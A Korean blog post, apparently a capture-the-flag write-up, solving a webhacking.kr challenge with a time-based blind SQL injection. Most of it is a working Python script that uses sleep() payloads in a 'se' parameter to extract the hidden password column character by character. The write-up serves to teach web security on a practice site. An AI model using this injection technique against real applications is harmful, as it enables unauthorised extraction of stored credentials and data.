728x90
이번 문제는 메시지 제출폼이 구현되어 있다.
코드를 보면
msg와 se를 get으로 받아 session [id], msg, flag, se를 각각 id, msg, pw, op 컬럼에 저장하고 있다.
우리는 flag 즉, pw컬럼을 읽어오면 된다.
select, and, or, not, &, |, benchmark가 필터링되어 있지만 딱히 큰 문제는 되지 않는 것 같다.
다른 메시지 출력이 없으므로 time base injection을 수행하면 될 것 같다.
if문을 이용해 코드를 짜보면
import requests
import time
cookies={"PHPSESSID":"0pau5r565eckd9hij5j6i87pqo"}
pw=""
for i in range(0,200): #길이구하기
start=time.time()
res=requests.get(f'https://webhacking.kr/challenge/web-34/index.php?msg=1&se=if(length(pw)={i},sleep(2),1)',cookies=cookies)
end=time.time()
print(i)
if end-start > 2 :
length=i
print("length:",i)
break
for i in range(1,length+1): #pw구하기
for j in range(33,127):
start=time.time()
res=requests.get(f'https://webhacking.kr/challenge/web-34/index.php?msg=1&se=if(substr(pw,{i},1)=char({j}),sleep(2),1)',cookies=cookies)
end=time.time()
print(j)
if end-start > 1:
pw+=chr(j)
print("pw:",pw)
break
print("password:",pw)
쉽게 flag를 얻을 수 있다.
728x90
'Web > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr Challenge old-22 문제 풀이 (0) | 2024.04.28 |
---|---|
Webhacking.kr Challenge ouroboros golf 문제 풀이 (0) | 2024.04.21 |
Webhacking.kr Challenge old-29 문제 풀이 (0) | 2024.04.08 |
Webhacking.kr Challenge old-48 문제 풀이 (0) | 2024.04.02 |
Webhacking.kr Challenge old-40 문제 풀이 (0) | 2024.03.30 |